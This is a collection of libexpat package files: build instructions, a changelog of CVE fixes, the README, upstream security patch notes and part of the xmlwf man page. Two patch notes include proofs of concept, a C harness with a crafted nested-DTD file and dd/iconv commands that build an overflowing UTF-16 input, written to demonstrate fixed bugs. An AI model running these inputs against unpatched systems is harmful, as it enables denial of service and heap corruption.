== How to build expat with cmake (experimental) ==
The cmake based buildsystem for expat works on Windows (cygwin, mingw, Visual
Studio) and should work on all other platform cmake supports.
Assuming ~/expat-2.4.1 is the source directory of expat, add a subdirectory
build and change into that directory:
~/expat-2.4.1$ mkdir build && cd build
~/expat-2.4.1/build$
From that directory, call cmake first, then call make, make test and
make install in the usual way:
~/expat-2.4.1/build$ cmake ..
-- The C compiler identification is GNU
-- The CXX compiler identification is GNU
....
-- Configuring done
-- Generating done
-- Build files have been written to: /home/patrick/expat-2.4.1/build
If you want to specify the install location for your files, append
-DCMAKE_INSTALL_PREFIX=/your/install/path to the cmake call.
~/expat-2.4.1/build$ make && make test && make install
Scanning dependencies of target expat

-- Installing: /usr/local/lib/pkgconfig/expat.pc
-- Installing: /usr/local/bin/xmlwf
-- Installing: /usr/local/share/man/man1/xmlwf.1
For Windows builds, you must make sure to call cmake from an environment where
your compiler is reachable, that means either you call it from the
Visual Studio Command Prompt or when using mingw, you must open a cmd.exe and
make sure that gcc can be called. On Windows, you also might want to specify a
special Generator for CMake:
for Visual Studio builds do:
cmake .. -G "Visual Studio 15 2017" && msbuild /m expat.sln
for mingw builds do:
cmake .. -G "MinGW Makefiles" -DCMAKE_INSTALL_PREFIX=D:\expat-install
&& gmake && gmake install

Release 2.4.9 Thur Oct 27 2022
Security fixes:
#616 #649 #650 CVE-2022-43680 -- Fix heap use-after-free after overeager
destruction of a shared DTD in function
XML_ExternalEntityParserCreate in out-of-memory situations
Release 2.4.9 Wed Sep 14 2022
Security fixes:
#629 #640 CVE-2022-40674 -- Heap use-after-free vulnerability in
function doContent. Expected impact is denial of service
or potentially arbitrary code execution.
Release 2.4.1 Sun May 23 2021
Bug fixes:
#488 #490 Autotools: Fix installed header expat_config.h for multilib
systems; regression introduced in 2.4.0 by pull request #486
Other changes:
#491 #492 Version info bumped from 9:0:8 to 9:1:8;
see https://verbump.de/ for what these numbers do
Special thanks to:
Gentoo's QA check "multilib_check_headers"
Release 2.4.0 Sun May 23 2021
Security fixes:
#34 #466 #484 CVE-2013-0340/CWE-776 -- Protect against billion laughs attacks
(denial-of-service; flavors targeting CPU time or RAM or both,
leveraging general entities or parameter entities or both)
by tracking and limiting the input amplification factor
(<amplification> := (<direct> + <indirect>) / <direct>).
By conservative default, amplification up to a factor of 100.0
is tolerated and rejection only starts after 8 MiB of output bytes
(=<direct> + <indirect>) have been processed.
The fix adds the following to the API:
- A new error code XML_ERROR_AMPLIFICATION_LIMIT_BREACH to
signals this specific condition.
- Two new API functions ..
- XML_SetBillionLaughsAttackProtectionMaximumAmplification and
- XML_SetBillionLaughsAttackProtectionActivationThreshold
.. to further tighten billion laughs protection parameters
when desired. Please see file "doc/reference.html" for details.
If you ever need to increase the defaults for non-attack XML
payload, please file a bug report with libexpat.
- Two new XML_FEATURE_* constants ..
- that can be queried using the XML_GetFeatureList function, and
- that are shown in "xmlwf -v" output.
- Two new environment variable switches ..
- EXPAT_ACCOUNTING_DEBUG=(0|1|2|3) and
- EXPAT_ENTITY_DEBUG=(0|1)
.. for runtime debugging of accounting and entity processing.
Specific behavior of these values may change in the future.
- Two new command line arguments "-a FACTOR" and "-b BYTES"
for xmlwf to further tighten billion laughs protection
parameters when desired.
If you ever need to increase the defaults for non-attack XML
payload, please file a bug report with libexpat.
Bug fixes:

Release 2.3.0 Thu March 25 2021
Bug fixes:
#438 When calling XML_ParseBuffer without a prior successful call to
XML_GetBuffer as a user, no longer trigger undefined behavior
(by adding an integer to a NULL pointer) but rather return
XML_STATUS_ERROR and set the error code to (new) code
XML_ERROR_NO_BUFFER. Found by UBSan (UndefinedBehaviorSanitizer)
of Clang 11 (but not Clang 9).
#444 xmlwf: Exit status 2 was used for both:
- malformed input files (documented) and
- invalid command-line arguments (undocumented).
The case of invalid command-line arguments now
has its own exit status 4, resolving the ambiguity.
Other changes:
#439 xmlwf: Add argument -k to allow continuing after
non-fatal errors
#439 xmlwf: Add section about exit status to the -h help output
#422 #426 #447 Windows: Drop support for Visual Studio <=14.0/2015
#434 Windows: CMake: Detect unsupported Visual Studio at
configure time (rather than at compile time)
#382 #428 testrunner: Make verbose mode (argument "-v") report
about passed tests, and make default mode report about
failures, as well.
#442 CMake: Call "enable_language(CXX)" prior to tinkering
with CMAKE_CXX_* variables
#448 Document use of libexpat from a CMake-based project
#451 Autotools: Install CMake files as generated by CMake 3.19.6
so that users with "find_package(expat [..] CONFIG [..])"
are served on distributions that are *not* using the CMake
build system inside for libexpat packaging
#436 #437 Autotools: Drop obsolescent macro AC_HEADER_STDC
#450 #452 Autotools: Resolve use of obsolete macro AC_CONFIG_HEADER
#441 Address compiler warnings
#443 Version info bumped from 7:12:6 to 8:0:7
due to addition of error code XML_ERROR_NO_BUFFER
(see https://verbump.de/ for what these numbers do)

when used with "-d DIRECTORY"
#356 #359 MinGW: Provide declaration of rand_s for mingwrt <5.3.0
#383 #392 Autotools: Use -Werror while configure tests the compiler
for supported compile flags to avoid false positives
#383 #393 #394 Autotools: Improve handling of user (C|CPP|CXX|LD)FLAGS,
e.g. ensure that they have the last word over flags added
while running ./configure
#360 CMake: Create libexpatw.{dll,so} and expatw.pc (with emphasis
on suffix "w") with -DEXPAT_CHAR_TYPE=(ushort|wchar_t)
#360 CMake: Detect and deny unsupported build combinations
involving -DEXPAT_CHAR_TYPE=(ushort|wchar_t)
#360 CMake: Install pre-compiled shipped xmlwf.1 manpage in case
of -DEXPAT_BUILD_DOCS=OFF
#375 #380 #419 CMake: Fix use of Expat by means of add_subdirectory
#407 #408 CMake: Keep expat target name constant at "expat"
(i.e. refrain from using the target name to control
build artifact filenames)
#385 CMake: Fix compilation with -DEXPAT_SHARED_LIBS=OFF for
Windows
CMake: Expose man page compilation as target "xmlwf-manpage"
#413 #414 CMake: Introduce option EXPAT_BUILD_PKGCONFIG

Release 2.2.9 Wed September 25 2019
Other changes:
examples: Drop executable bits from elements.c
#349 Windows: Change the name of the Windows DLLs from expat*.dll
to libexpat*.dll once more (regression from 2.2.8, first
fixed in 1.95.3, issue #61 on SourceForge today,
was issue #432456 back then); needs a fix due
case-insensitive file systems on Windows and the fact that
Perl's XML::Parser::Expat compiles into Expat.dll.
#347 Windows: Only define _CRT_RAND_S if not defined
Version info bumped from 7:10:6 to 7:11:6
Special thanks to:

Release 2.2.8 Fri September 13 2019
Security fixes:
#317 #318 CVE-2019-15903 -- Fix heap overflow triggered by
XML_GetCurrentLineNumber (or XML_GetCurrentColumnNumber),
and deny internal entities closing the doctype;
fixed in commit c20b758c332d9a13afbbb276d30db1d183a85d43
Bug fixes:
#240 Fix cases where XML_StopParser did not have any effect
when called from inside of an end element handler
#341 xmlwf: Fix exit code for operation without "-d DIRECTORY";
previously, only "-d DIRECTORY" would give you a proper
exit code:
# xmlwf -d . <<<'<not well-formed>' 2>/dev/null ; echo $?
2
# xmlwf <<<'<not well-formed>' 2>/dev/null ; echo $?
0
Now both cases return exit code 2.
Other changes:
#299 #302 Windows: Replace LoadLibrary hack to access
unofficial API function SystemFunction036 (RtlGenRandom)
by using official API function rand_s (needs WinXP+)
#325 Windows: Drop support for Visual Studio <=7.1/2003

out needed later, there will be a dedicated repository
below https://github.com/libexpat/ for that code
#322 Windows: Remove explicit MSVC solution and project files.
You can generate Visual Studio solution files through
CMake, e.g.: cmake -G"Visual Studio 15 2017" .

value (salt) for hash calculations. This is part of the fix for
bug #3496608 to randomize hash parameters.
When compiled with XML_ATTR_INFO defined, adds new API member
XML_GetAttributeInfo() that allows retrieving the byte
offsets for attribute names and values (patch #3446384).
Added CMake build system.
See bug #2990652 and patch #3312568.
Added run-benchmark target to Makefile.in - relies on testdata module
present in the same relative location as in the repository.
Release 2.0.1 Tue June 5 2007
- Fixed bugs #1515266, #1515600: The character data handler's calling
of XML_StopParser() was not handled properly; if the parser was
stopped and the handler set to NULL, the parser would segfault.
- Fixed bug #1690883: Expat failed on EBCDIC systems as it assumed
some character constants to be ASCII encoded.
- Minor cleanups of the test harness.
- Fixed xmlwf bug #1513566: "out of memory" error on file size zero.
- Fixed outline.c bug #1543233: missing a final XML_ParserFree() call.
- Fixes and improvements for Windows platform:
bugs #1409451, #1476160, #1548182, #1602769, #1717322.
- Build fixes for various platforms:
HP-UX, Tru64, Solaris 9: patch #1437840, bug #1196180.
All Unix: #1554618 (refreshed config.sub/config.guess).
#1490371, #1613457: support both, DESTDIR and INSTALL_ROOT,
without relying on GNU-Make specific features.
#1647805: Patched configure.in to work better with Intel compiler.
- Fixes to Makefile.in to have make check work correctly:
bugs #1408143, #1535603, #1536684.
- Added Open Watcom support: patch #1523242.
Release 2.0.0 Wed Jan 11 2006
- We no longer use the "check" library for C unit testing; we
always use the (partial) internal implementation of the API.
- Report XML_NS setting via XML_GetFeatureList().
- Fixed headers for use from C++.
- XML_GetCurrentLineNumber() and XML_GetCurrentColumnNumber()
now return unsigned integers.
- Added XML_LARGE_SIZE switch to enable 64-bit integers for
byte indexes and line/column numbers.
- Updated to use libtool 1.5.22 (the most recent).
- Added support for AmigaOS.
- Some mostly minor bug fixes. SF issues include: #1006708,
#1021776, #1023646, #1114960, #1156398, #1221160, #1271642.
Release 1.95.8 Fri Jul 23 2004
- Major new feature: suspend/resume. Handlers can now request
that a parse be suspended for later resumption or aborted
altogether. See "Temporarily Stopping Parsing" in the
documentation for more details.
- Some mostly minor bug fixes, but compilation should no
longer generate warnings on most platforms. SF issues
include: #827319, #840173, #846309, #888329, #896188, #923913,
#928113, #961698, #985192.
Release 1.95.7 Mon Oct 20 2003
- Fixed enum XML_Status issue (reported on SourceForge many
times), so compilers that are properly picky will be happy.
- Introduced an XMLCALL macro to control the calling
convention used by the Expat API; this macro should be used
to annotate prototypes and definitions of callback
implementations in code compiled with a calling convention
other than the default convention for the host platform.
- Improved ability to build without the configure-generated
expat_config.h header. This is useful for applications
which embed Expat rather than linking in the library.
- Fixed a variety of bugs: see SF issues #458907, #609603,
#676844, #679754, #692878, #692964, #695401, #699323, #699487,
#820946.
- Improved hash table lookups.
- Added more regression tests and improved documentation.
Release 1.95.6 Tue Jan 28 2003
- Added XML_FreeContentModel().
- Added XML_MemMalloc(), XML_MemRealloc(), XML_MemFree().
- Fixed a variety of bugs: see SF issues #615606, #616863,
#618199, #653180, #673791.
- Enhanced the regression test suite.
- Man page improvements: includes SF issue #632146.
Release 1.95.5 Fri Sep 6 2002
- Added XML_UseForeignDTD() for improved SAX2 support.
- Added XML_GetFeatureList().
- Defined XML_Bool type and the values XML_TRUE and XML_FALSE.
- Use an incomplete struct instead of a void* for the parser
(may not retain).
- Fixed UTF-8 decoding bug that caused legal UTF-8 to be rejected.
- Finally fixed bug where default handler would report DTD
events that were already handled by another handler.
Initial patch contributed by Darryl Miles.
- Removed unnecessary DllMain() function that caused static
linking into a DLL to be difficult.
- Added VC++ projects for building static libraries.
- Reduced line-length for all source code and headers to be
no longer than 80 characters, to help with AS/400 support.
- Reduced memory copying during parsing (SF patch #600964).
- Fixed a variety of bugs: see SF issues #580793, #434664,
#483514, #580503, #581069, #584041, #584183, #584832, #585537,
#596555, #596678, #598352, #598944, #599715, #600479, #600971.
Release 1.95.4 Fri Jul 12 2002
- Added support for VMS, contributed by Craig Berry. See
vms/README.vms for more information.
- Added Mac OS (classic) support, with a makefile for MPW,
contributed by Thomas Wegner and Daryle Walker.
- Added Borland C++ Builder 5 / BCC 5.5 support, contributed
by Patrick McConnell (SF patch #538032).
- Fixed a variety of bugs: see SF issues #441449, #563184,
#564342, #566334, #566901, #569461, #570263, #575168, #579196.
- Made skippedEntityHandler conform to SAX2 (see source comment)
- Re-implemented WFC: Entity Declared from XML 1.0 spec and
added a new error "entity declared in parameter entity":
see SF bug report #569461 and SF patch #578161
- Re-implemented section 5.1 from XML 1.0 spec:
see SF bug report #570263 and SF patch #578161
Release 1.95.3 Mon Jun 3 2002
- Added a project to the MSVC workspace to create a wchar_t
version of the library; the DLLs are named libexpatw.dll.
- Changed the name of the Windows DLLs from expat.dll to
libexpat.dll; this fixes SF bug #432456.
- Added the XML_ParserReset() API function.
- Fixed XML_SetReturnNSTriplet() to work for element names.
- Made the XML_UNICODE builds usable (thanks, Karl!).
- Allow xmlwf to read from standard input.
- Install a man page for xmlwf on Unix systems.
- Fixed many bugs; see SF bug reports #231864, #461380, #464837,
#466885, #469226, #477667, #484419, #487840, #494749, #496505,
#547350. Other bugs which we can't test as easily may also
have been fixed, especially in the area of build support.
Release 1.95.2 Fri Jul 27 2001
- More changes to make MSVC happy with the build; add a single
workspace to support both the library and xmlwf application.
- Added a Windows installer for Windows users; includes
xmlwf.exe.
- Added compile-time constants that can be used to determine the
Expat version
- Removed a lot of GNU-specific dependencies to aide portability
among the various Unix flavors.
- Fix the UTF-8 BOM bug.
- Cleaned up warning messages for several compilers.
- Added the -Wall, -Wstrict-prototypes options for GCC.
Release 1.95.1 Sun Oct 22 15:11:36 EDT 2000
- Changes to get expat to build under Microsoft compiler
- Removed all aborts and instead return an UNEXPECTED_STATE error.
- Fixed a bug where a stray '%' in an entity value would cause an
abort.
- Defined XML_SetEndNamespaceDeclHandler. Thanks to Darryl Miles for
finding this oversight.
- Changed default patterns in lib/Makefile.in to fit non-GNU makes
Thanks to robin@unrated.net for reporting and providing an
account to test on.
- The reference had the wrong label for XML_SetStartNamespaceDecl.
Reported by an anonymous user.
Release 1.95.0 Fri Sep 29 2000
- XML_ParserCreate_MM
Allows you to set a memory management suite to replace the
standard malloc,realloc, and free.
- XML_SetReturnNSTriplet
If you turn this feature on when namespace processing is in
effect, then qualified, prefixed element and attribute names
are returned as "uri|name|prefix" where '|' is whatever
separator character is used in namespace processing.
- Merged in features from perl-expat
o XML_SetElementDeclHandler
o XML_SetAttlistDeclHandler
o XML_SetXmlDeclHandler
o XML_SetEntityDeclHandler
o StartDoctypeDeclHandler takes 3 additional parameters:
sysid, pubid, has_internal_subset
o Many paired handler setters (like XML_SetElementHandler)
now have corresponding individual handler setters
o XML_GetInputContext for getting the input context of
the current parse position.
- Added reference material
- Packaged into a distribution that builds a sharable library

# Expat, Release 2.4.1
This is Expat, a C library for parsing XML, started by
[James Clark](https://en.wikipedia.org/wiki/James_Clark_%28programmer%29) in 1997.
Expat is a stream-oriented XML parser. This means that you register
handlers with the parser before starting the parse. These handlers
are called when the parser discovers the associated structures in the
document being parsed. A start tag is an example of the kind of
structures for which you may register handlers.
Expat supports the following compilers:
- GNU GCC >=4.5
- LLVM Clang >=3.5
- Microsoft Visual Studio >=15.0/2017 (rolling `${today} minus 5 years`)
Windows users can use the
[`expat-win32bin-*.*.*.{exe,zip}` download](https://github.com/libexpat/libexpat/releases),
which includes both pre-compiled libraries and executables, and source code for
developers.
Expat is [free software](https://www.gnu.org/philosophy/free-sw.en.html).
You may copy, distribute, and modify it under the terms of the License
contained in the file
[`COPYING`](https://github.com/libexpat/libexpat/blob/master/expat/COPYING)
distributed with this package.
This license is the same as the MIT/X Consortium license.
## Using libexpat in your CMake-Based Project
There are two ways of using libexpat with CMake:
### a) Module Mode
This approach leverages CMake's own [module `FindEXPAT`](https://cmake.org/cmake/help/latest/module/FindEXPAT.html).
Notice the *uppercase* `EXPAT` in the following example:
```cmake
cmake_minimum_required(VERSION 3.0) # or 3.10, see below
project(hello VERSION 1.0.0)
find_package(EXPAT 2.2.8 MODULE REQUIRED)
add_executable(hello
hello.c
)
# a) for CMake >=3.10 (see CMake's FindEXPAT docs)
target_link_libraries(hello PUBLIC EXPAT::EXPAT)
# b) for CMake >=3.0
target_include_directories(hello PRIVATE ${EXPAT_INCLUDE_DIRS})
target_link_libraries(hello PUBLIC ${EXPAT_LIBRARIES})
```
### b) Config Mode
This approach requires files from…
- libexpat >=2.2.8 where packaging uses the CMake build system
or
- libexpat >=2.3.0 where packaging uses the GNU Autotools build system
on Linux
or
- libexpat >=2.4.0 where packaging uses the GNU Autotools build system
on macOS or MinGW.
Notice the *lowercase* `expat` in the following example:
```cmake
cmake_minimum_required(VERSION 3.0)
project(hello VERSION 1.0.0)
find_package(expat 2.2.8 CONFIG REQUIRED char dtd ns)
add_executable(hello
hello.c
)
target_link_libraries(hello PUBLIC expat::expat)
```
## Building from a Git Clone
If you are building Expat from a check-out from the
[Git repository](https://github.com/libexpat/libexpat/),
you need to run a script that generates the configure script using the
GNU autoconf and libtool tools. To do this, you need to have
autoconf 2.58 or newer. Run the script like this:
```console
./buildconf.sh
```
Once this has been done, follow the same instructions as for building
from a source distribution.
## Building from a Source Distribution
### a) Building with the configure script (i.e. GNU Autotools)
To build Expat from a source distribution, you first run the
configuration shell script in the top level distribution directory:
```console
./configure
```
There are many options which you may provide to configure (which you
can discover by running configure with the `--help` option). But the
one of most interest is the one that sets the installation directory.
By default, the configure script will set things up to install
libexpat into `/usr/local/lib`, `expat.h` into `/usr/local/include`, and
`xmlwf` into `/usr/local/bin`. If, for example, you'd prefer to install
into `/home/me/mystuff/lib`, `/home/me/mystuff/include`, and
`/home/me/mystuff/bin`, you can tell `configure` about that with:
```console
./configure --prefix=/home/me/mystuff
```
Another interesting option is to enable 64-bit integer support for
line and column numbers and the over-all byte index:
```console
./configure CPPFLAGS=-DXML_LARGE_SIZE
```
However, such a modification would be a breaking change to the ABI
and is therefore not recommended for general use &mdash; e.g. as part of
a Linux distribution &mdash; but rather for builds with special requirements.
After running the configure script, the `make` command will build
things and `make install` will install things into their proper
location. Have a look at the `Makefile` to learn about additional
`make` options. Note that you need to have write permission into
the directories into which things will be installed.
If you are interested in building Expat to provide document
information in UTF-16 encoding rather than the default UTF-8, follow
these instructions (after having run `make distclean`).
Please note that we configure with `--without-xmlwf` as xmlwf does not
support this mode of compilation (yet):
1. Mass-patch `Makefile.am` files to use `libexpatw.la` for a library name:
<br/>
`find -name Makefile.am -exec sed
-e 's,libexpat\.la,libexpatw.la,'
-e 's,libexpat_la,libexpatw_la,'
-i {} +`
1. Run `automake` to re-write `Makefile.in` files:<br/>
`automake`
1. For UTF-16 output as unsigned short (and version/error strings as char),
run:<br/>
`./configure CPPFLAGS=-DXML_UNICODE --without-xmlwf`<br/>
For UTF-16 output as `wchar_t` (incl. version/error strings), run:<br/>
`./configure CFLAGS="-g -O2 -fshort-wchar" CPPFLAGS=-DXML_UNICODE_WCHAR_T
--without-xmlwf`
<br/>Note: The latter requires libc compiled with `-fshort-wchar`, as well.
1. Run `make` (which excludes xmlwf).
1. Run `make install` (again, excludes xmlwf).
Using `DESTDIR` is supported. It works as follows:
```console
make install DESTDIR=/path/to/image
```
overrides the in-makefile set `DESTDIR`, because variable-setting priority is
1. commandline
1. in-makefile
1. environment
Note: This only applies to the Expat library itself, building UTF-16 versions
of xmlwf and the tests is currently not supported.
When using Expat with a project using autoconf for configuration, you
can use the probing macro in `conftools/expat.m4` to determine how to
include Expat. See the comments at the top of that file for more
information.
A reference manual is available in the file `doc/reference.html` in this
distribution.
### b) Building with CMake
The CMake build system is still *experimental* and may replace the primary
build system based on GNU Autotools at some point when it is ready.
#### Available Options
For an idea of the available (non-advanced) options for building with CMake:
```console
# rm -f CMakeCache.txt ; cmake -D_EXPAT_HELP=ON -LH . | grep -B1 ':.*=' | sed 's,^--$,,'
// Choose the type of build, options are: None Debug Release RelWithDebInfo MinSizeRel ...
CMAKE_BUILD_TYPE:STRING=
// Install path prefix, prepended onto install directories.
CMAKE_INSTALL_PREFIX:PATH=/usr/local
// Path to a program.

Subject: [PATCH] Ensure raw tagnames are safe exiting internalEntityParser
It is possible to concoct a situation in which parsing is
suspended while substituting in an internal entity, so that
XML_ResumeParser directly uses internalEntityProcessor as
its processor. If the subsequent parse includes some unclosed
tags, this will return without calling storeRawNames to ensure
that the raw versions of the tag names are stored in memory other
than the parse buffer itself. If the parse buffer is then changed
or reallocated (for example if processing a file line by line),
badness will ensue.
This patch ensures storeRawNames is always called when needed
after calling doContent. The earlier call do doContent does
not need the same protection; it only deals with entity
substitution, which cannot leave unbalanced tags, and in any
case the raw names will be pointing into the stored entity
value not the parse buffer.

Subject: [PATCH] Prevent stack exhaustion in build_model
It is possible to trigger stack exhaustion in build_model function if
depth of nested children in DTD element is large enough. This happens
because build_node is a recursively called function within build_model.
The code has been adjusted to run iteratively. It uses the already
allocated heap space as temporary stack (growing from top to bottom).
Output is identical to recursive version. No new fields in data
structures were added, i.e. it keeps full API and ABI compatibility.
Instead the numchildren variable is used to temporarily keep the
index of items (uint vs int).
Documentation and readability improvements kindly added by Sebastian.
Proof of Concept:
1. Compile poc binary which parses XML file line by line
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdio.h>
XML_Parser parser;
static void XMLCALL
dummy_element_decl_handler(void *userData, const XML_Char *name,
XML_Content *model) {
XML_FreeContentModel(parser, model);
}
int main(int argc, char *argv[]) {
FILE *fp;
char *p = NULL;
size_t s = 0;
ssize_t l;
if (argc != 2)
errx(1, "usage: poc poc.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "XML_ParserCreate");
XML_SetElementDeclHandler(parser, dummy_element_decl_handler);
if ((fp = fopen(argv[1], "r")) == NULL)
err(1, "fopen");
while ((l = getline(&p, &s, fp)) > 0)
if (XML_Parse(parser, p, (int)l, XML_FALSE) != XML_STATUS_OK)
errx(1, "XML_Parse");
XML_ParserFree(parser);
free(p);
fclose(fp);
return 0;
}
EOF
cc -std=c11 -D_POSIX_C_SOURCE=200809L -lexpat -o poc poc.c
```
2. Create XML file with a lot of nested groups in DTD element
```
cat > poc.xml.zst.b64 << EOF
KLUv/aQkACAAPAEA+DwhRE9DVFlQRSB1d3UgWwo8IUVMRU1FTlQgdXd1CigBAHv/58AJAgAQKAIA

ABApAgAQKQIAEClVAAAgPl0+CgEA4A4I2VwwnQ==
EOF
base64 -d poc.xml.zst.b64 | zstd -d > poc.xml
```
3. Run Proof of Concept
```
./poc poc.xml
```

Subject: [PATCH] Prevent integer overflow in storeRawNames
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```

Subject: [PATCH] Fix build_model regression.
The iterative approach in build_model failed to fill children arrays
correctly. A preorder traversal is not required and turned out to be the
culprit. Use an easier algorithm:
Add nodes from scaffold tree starting at index 0 (root) to the target
array whenever children are encountered. This ensures that children
are adjacent to each other. This complies with the recursive version.
Store only the scaffold index in numchildren field to prevent a direct
processing of these children, which would require a recursive solution.
This allows the algorithm to iterate through the target array from start
to end without jumping back and forth, converting on the fly.

dnl Ensure that Expat is configured with autoconf 2.69 or newer.
AC_PREREQ([2.69])
dnl Get the version number of Expat, using m4's esyscmd() command to run
dnl the command at m4-generation time. This allows us to create an m4
dnl symbol holding the correct version number. AC_INIT requires the
dnl version number at m4-time, rather than when ./configure is run, so
dnl all this must happen as part of m4, not as part of the shell code
dnl contained in ./configure.
dnl
dnl NOTE: esyscmd() is a GNU M4 extension. Thus, we wrap it in an appropriate
dnl test. I believe this test will work, but I don't have a place with non-
dnl GNU M4 to test it right now.

.SH DESCRIPTION
\fBxmlwf\fR uses the Expat library to
determine if an XML document is well-formed. It is
non-validating.
.PP
If you do not specify any files on the command-line, and you
have a recent version of \fBxmlwf\fR, the
input file will be read from standard input.
.SH "WELL-FORMED DOCUMENTS"
A well-formed document must adhere to the
following rules:
.TP 0.2i
\(bu
The file begins with an XML declaration. For instance,
\*(T<<?xml version="1.0" standalone="yes"?>\*(T>.
\fINOTE\fR:
\fBxmlwf\fR does not currently
check for a valid XML declaration.
.TP 0.2i
\(bu
Every start tag is either empty (<tag/>)
or has a corresponding end tag.
.TP 0.2i
\(bu
There is exactly one root element. This element must contain
all other elements in the document. Only comments, white
space, and processing instructions may come after the close
of the root element.
.TP 0.2i
\(bu
All elements nest properly.
.TP 0.2i
\(bu
All attribute values are enclosed in quotes (either single
or double).
.PP
If the document has a DTD, and it strictly complies with that
DTD, then the document is also considered \fIvalid\fR.
\fBxmlwf\fR is a non-validating parser --
it does not check the DTD. However, it does support
external entities (see the \*(T<\fB\-x\fR\*(T> option).
.SH OPTIONS
When an option includes an argument, you may specify the argument either
separately ("\*(T<\fB\-d\fR\*(T> \fIoutput\fR") or concatenated with the
option ("\*(T<\fB\-d\fR\*(T>\fIoutput\fR"). \fBxmlwf\fR
supports both.
.TP
\*(T<\fB\-a\fR\*(T> \fIfactor\fR
Sets the maximum tolerated amplification factor
for protection against billion laughs attacks (default: 100.0).
The amplification factor is calculated as ..
.nf
amplification := (direct + indirect) / direct
.fi
\&.. while parsing, whereas
<direct> is the number of bytes read
from the primary document in parsing and
<indirect> is the number of bytes
added by expanding entities and reading of external DTD files,
combined.
\fINOTE\fR:
If you ever need to increase this value for non-attack payload,
please file a bug report.
.TP
\*(T<\fB\-b\fR\*(T> \fIbytes\fR
Sets the number of output bytes (including amplification)
needed to activate protection against billion laughs attacks
(default: 8 MiB).
This can be thought of as an "activation threshold".
\fINOTE\fR:
If you ever need to increase this value for non-attack payload,
please file a bug report.
.TP
\*(T<\fB\-c\fR\*(T>
If the input file is well-formed and \fBxmlwf\fR
doesn't encounter any errors, the input file is simply copied to
the output directory unchanged.
This implies no namespaces (turns off \*(T<\fB\-n\fR\*(T>) and
requires \*(T<\fB\-d\fR\*(T> to specify an output directory.
.TP
\*(T<\fB\-d\fR\*(T> \fIoutput-dir\fR
Specifies a directory to contain transformed
representations of the input files.
By default, \*(T<\fB\-d\fR\*(T> outputs a canonical representation
(described below).
You can select different output formats using \*(T<\fB\-c\fR\*(T>,
\*(T<\fB\-m\fR\*(T> and \*(T<\fB\-N\fR\*(T>.
The output filenames will
be exactly the same as the input filenames or "STDIN" if the input is
coming from standard input. Therefore, you must be careful that the
output file does not go into the same directory as the input
file. Otherwise, \fBxmlwf\fR will delete the
input file before it generates the output file (just like running
\*(T<cat < file > file\*(T> in most shells).
Two structurally equivalent XML documents have a byte-for-byte
identical canonical XML representation.
Note that ignorable white space is considered significant and
is treated equivalently to data.
More on canonical XML can be found at
http://www.jclark.com/xml/canonxml.html .
.TP
\*(T<\fB\-e\fR\*(T> \fIencoding\fR
Specifies the character encoding for the document, overriding
any document encoding declaration. \fBxmlwf\fR
supports four built-in encodings:
\*(T<US\-ASCII\*(T>,
\*(T<UTF\-8\*(T>,
\*(T<UTF\-16\*(T>, and
\*(T<ISO\-8859\-1\*(T>.
Also see the \*(T<\fB\-w\fR\*(T> option.
.TP
\*(T<\fB\-k\fR\*(T>
When processing multiple files, \fBxmlwf\fR
by default halts after the the first file with an error.
This tells \fBxmlwf\fR to report the error
but to keep processing.
This can be useful, for example, when testing a filter that converts
many files to XML and you want to quickly find out which conversions
failed.
.TP
\*(T<\fB\-m\fR\*(T>
Outputs some strange sort of XML file that completely
describes the input file, including character positions.
Requires \*(T<\fB\-d\fR\*(T> to specify an output file.
.TP
\*(T<\fB\-n\fR\*(T>
Turns on namespace processing. (describe namespaces)
\*(T<\fB\-c\fR\*(T> disables namespaces.
.TP
\*(T<\fB\-N\fR\*(T>
Adds a doctype and notation declarations to canonical XML output.
